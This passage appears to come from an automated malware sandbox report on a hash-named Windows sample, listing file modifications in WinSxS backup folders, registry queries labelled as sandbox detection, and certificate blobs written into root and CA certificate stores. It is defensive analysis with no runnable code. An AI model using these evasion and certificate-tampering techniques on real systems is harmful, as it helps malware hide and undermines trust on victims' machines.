C:\Windows\WinSxS\Backup\amd64_microsoft-windows-p..ne-client-overrides_31bf3856ad364e35_10.0.15063.0_none_43849a6a5b3b562b_power.energyestimationengine.control.ppkg_64b77e6b 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-s..subsystem.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_33a9f3ab14804647_certprop.dll.mui_602eaab4 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-user32.resources_31bf3856ad364e35_10.0.15063.0_en-us_4f11d10363ebf375.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-w..eservices.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_193bb5ceb03ac714_sti.dll.mui_00a4f15b 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.15063.0_sl-si_0de7d66153450c3a.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-filtermanager-core_31bf3856ad364e35_10.0.15063.0_none_221d4c2b639acaed_fltmgr.sys_c6e91b41 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-security-spp.resources_31bf3856ad364e35_10.0.15063.0_de-de_04eafa5280cb48f2_sppsvc.exe.mui_40875a72 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
firefox.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
chrome.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518687e0000000100000008000000000063f58926d7011d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\SystemCertificates\CA\Certificates\33E4E80807204C2B6182A3A14B591ACD25B5F0DB\Blob = 03000000010000001400000033e4e80807204c2b6182a3a14b591acd25b5f0db1400000001000000140000008d8c5ec454ad8ae177e99bf99b05e1b8018d61e1040000000100000010000000adab5c4df031fb9299f71ada7e18f6130f00000001000000300000008b612b2190a95b28b866b9be5d0b95f368c17534ab1da61a42dfb32766f9ae2908fe6bfd1669be140eddaf0d33e95235190000000100000010000000fc741b3b78cfb31e075744fe5d0eeb965c000000010000000400000000080000180000000100000010000000ea6089055218053dd01e37e1d806eedf20000000010000001706000030820613308203fba00302010202107d5b5126b476ba11db74160bbc530da7300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3138313130323030303030305a170d3330313233313233353935395a30818f310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f726431183016060355040a130f5365637469676f204c696d69746564313730350603550403132e5365637469676f2052534120446f6d61696e2056616c69646174696f6e205365637572652053657276657220434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d67333d6d73c20d000d21745b8d63e07a23fc741ee3230c9b06cfdf49fcb12980f2d3f8d4d010c820f177f622ee9b84879fb16834eadd7322593b707bfb9503fa94cc3402ae939ffd981ca1f163241da8026b9237a87201ee3ff209a3c95446f8775069040b4329316091008233ed2dd870f6f5d51146a0a69c54f017269cfd3934c6d04a0a31b827eb19ab9edc59ec537789f9a0834fb562e58c4090e06645bbc37dcf19f2868a856b092a35c9fbb8898081b241dab3085aeafb02e9e7a9dc1c0421ce202f0eae04ad2ef900eb4c14016f06f85424a64f7a430a0febf2ea3275a8e8b58b8adc319178463ed6f56fd83cb6034c474bee69ddbe1e4e5ca0c5f150203010001a382016e3082016a301f0603551d230418301680145379bf5aaa2b4acf5480e1d89bc09df2b20366cb301d0603551d0e041604148d8c5ec454ad8ae177e99bf99b05e1b8018d61e1300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d250416301406082b0601050507030106082b06010505070302301b0603551d200414301230060604551d20003008060667810c01020130500603551d1f044930473045a043a041863f687474703a2f2f63726c2e7573657274727573742e636f6d2f55534552547275737452534143657274696669636174696f6e417574686f726974792e63726c307606082b06010505070101046a3068303f06082b060105050730028633687474703a2f2f6372742e7573657274727573742e636f6d2f555345525472757374525341416464547275737443412e637274302506082b060105050730018619687474703a2f2f6f6373702e7573657274727573742e636f6d300d06092a864886f70d01010c0500038202010032bf61bd0e48c34fc7ba474df89c781901dc131d806ffcc370b4529a31339a5752fb319e6ba4ef54aa898d401768f811107cd2cab1f15586c7eeb3369186f63951bf46bf0fa0bab4f77e49c42a36179ee468397aaf944e566fb27b3bbf0a86bdcdc5771c03b838b1a21f5f7edb8adc4648b6680acfb2b5b4e234e467a93866095ed2b8fc9d283a174027c2724e29fd213c7ccf13fb962cc53144fd13edd59ba96968777ceee1ffa4f93638085339a284349c19f3be0eacd52437eb23a878d0d3e7ef924764623922efc6f711be2285c6664424268e10328dc893ae079e833e2fd9f9f5468e63bec1e6b4dca6cd21a8860a95d92e85261afdfcb1b657426d95d133f6391406824138f58f58dc805ba4d57d9578fda79bfffdc5a869ab26e7a7a405875ba9b7b8a3200b97a94585ddb38be589378e290dfc0617f638400e42e41206fb7bf3c6116862dfe398f413d8154f8bb169d91060bc642aea31b7e4b5a33a149b26e30b7bfd028eb699c138975936f6a874a286b65eebc664eacfa0a3f96e9eba2d11b6869808582dc9ac2564f25e75b438c1ae7f5a4683ea51cab6f19911356ba56a7bc600b0e7f8be64b2adc8c2f1ace351eaa493e079c8e18140c90a5be1123cc1602ae397c08942ca94cf46981269bb98d0c2d30d724b476ee593c43228638743e4b0323e0ad34bbf239b1429412b9a041f932df1c739483cad5a127f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 04000000010000001000000091de0625abdafd32170cbb25172a84670f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee419000000010000001000000063664b080559a094d10f0a3c5f4f629020000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d557e0000000100000008000000000063f58926d70103000000010000001400000002faf3e291435468607857694df5e45b688518680400000001000000100000001d3554048578b03f42424dbf20730a3f20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 5c0000000100000004000000000800000400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518687e0000000100000008000000000063f58926d7011d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A053375BFE84E8B748782C7CEE15827A6AF5A405 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\SystemCertificates\CA\Certificates\33E4E80807204C2B6182A3A14B591ACD25B5F0DB 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\SystemCertificates\CA\Certificates\247106A405B288A46E70A0262717162D0903E734 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\SystemCertificates\CA\Certificates\247106A405B288A46E70A0262717162D0903E734\Blob = 030000000100000014000000247106a405b288a46e70a0262717162d0903e734140000000100000014000000b390a7d8c9af4ecd613c9f7cad5d7f41fd6930ea0400000001000000100000001a9a69a81f6da92d87f7694e16d8b8790f00000001000000300000009e9609372f45b5101548e8af9a20e0dbf5932dea9b9af86759c2029bc3b53e306e6491f6b15bf00b1e2dee3bb8d43d2219000000010000001000000043e6fa09a3b9d0de6fbe3aacd184c8fd5c000000010000000400000000080000180000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000ed050000308205e9308203d1a003020102021005e4dc3b9438ab3b8597cba6a19850e3300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3134303931323030303030305a170d3234303931313233353935395a305f310b3009060355040613024652310e300c060355040813055061726973310e300c060355040713055061726973310e300c060355040a130547616e64693120301e0603550403131747616e6469205374616e646172642053534c204341203230820122300d06092a864886f70d01010105000382010f003082010a028201010094042da6799574ffd5003cf5aed894b1297cc08f0b0b89b98283976e3728f5a21acfd2920b9ba8d387947384109fdc35cbc22d92ac21b9cb3bfc40c1c18321f0bff8f69cfa9c8210c0d08e4ee50d4cb0915c90b4a4405116dae484122d055ca11f17192451aa7aeae1071b868d0172f2e7d48323399ee0e14c1f6b22a3b41066b0ed8296d76e6ab4f23fb542fcdd8ab5abba2d1d3a759b31dc3e9dac5bd3410d6cb01bf53af579ea21a2f8f433524b242d1ea499b16d48bcb812fe72707cf7fb0275f48dded6dac0a0321a52df386b2e45383f3f049600fda1f4a2bbd517d6277c1b5859955e8a12fd9cab813e52284851856bf391b2863f29b56e0362eed6050203010001a382017530820171301f0603551d230418301680145379bf5aaa2b4acf5480e1d89bc09df2b20366cb301d0603551d0e04160414b390a7d8c9af4ecd613c9f7cad5d7f41fd6930ea300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d250416301406082b0601050507030106082b0601050507030230220603551d20041b3019300d060b2b06010401b2310102021a3008060667810c01020130500603551d1f044930473045a043a041863f687474703a2f2f63726c2e7573657274727573742e636f6d2f55534552547275737452534143657274696669636174696f6e417574686f726974792e63726c307606082b06010505070101046a3068303f06082b060105050730028633687474703a2f2f6372742e7573657274727573742e636f6d2f555345525472757374525341416464547275737443412e637274302506082b060105050730018619687474703a2f2f6f6373702e7573657274727573742e636f6d300d06092a864886f70d01010c050003820201005867fd72b26ad77c6196197ed94346d1267dc853fa66b06b2da7d3aa56f73a88d03b72c950fdf759b2aa68f58c7303bb956517ce2f1cdd9813a291c9eea1406e3c98d65cf3b2223c2dee1ba4e1de202416f28c1173913af6face240287ca93ecb4b6c81617c572fc2740f613fe93a69d51ef3c2bd877579b8c653a352536b7b58a636f072793b1608d80db96d47a8f2dab1c88c96e7ed6651faf5dca163f2846dca035e5f9e9e5d596880c4fc6b77767488427b61fb068dbacbf77b090b8a2c91c325d02ba2543814247bbd8e18f0c0c465fee46336b031482d37ecd8faf90d68e247d4042b46a6a17c69597e1f238cda7edb4274093df72a9b8c666633738642230a23bf1b9c87bc8fb293aab1a72d206124ef682d4236f3ec393e5d8b6c0dedc2316d61330b7a09a0e2c5506007001cfea391d80db88f7a520b85bfd3126698f2d0a61833a47a613542c1ee3ed44cabc6a1f280e51d9de0e9f75cd0e0395caf9c5a92a2dfe41a4a147ae0dc2f93966334a5be18428596c7d941776e44582ad7020fdd26f63a8d7faa033fa37cbf7b2659eda506f3fe4a7f38e5d58329770232ee7fdc4159b9c278f32ed17ad58813129111a9bd4fc6c9528c74e0507a6fd1dbc19e2e8b7b9118a2d701252858d8c334a0ffc9992e06370daa594476307e758c7315f053d3655fe83b2e8a6add7e9e6027488745cda34db90d26d510a23d623 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d557e0000000100000008000000000063f58926d70103000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A053375BFE84E8B748782C7CEE15827A6AF5A405\Blob = 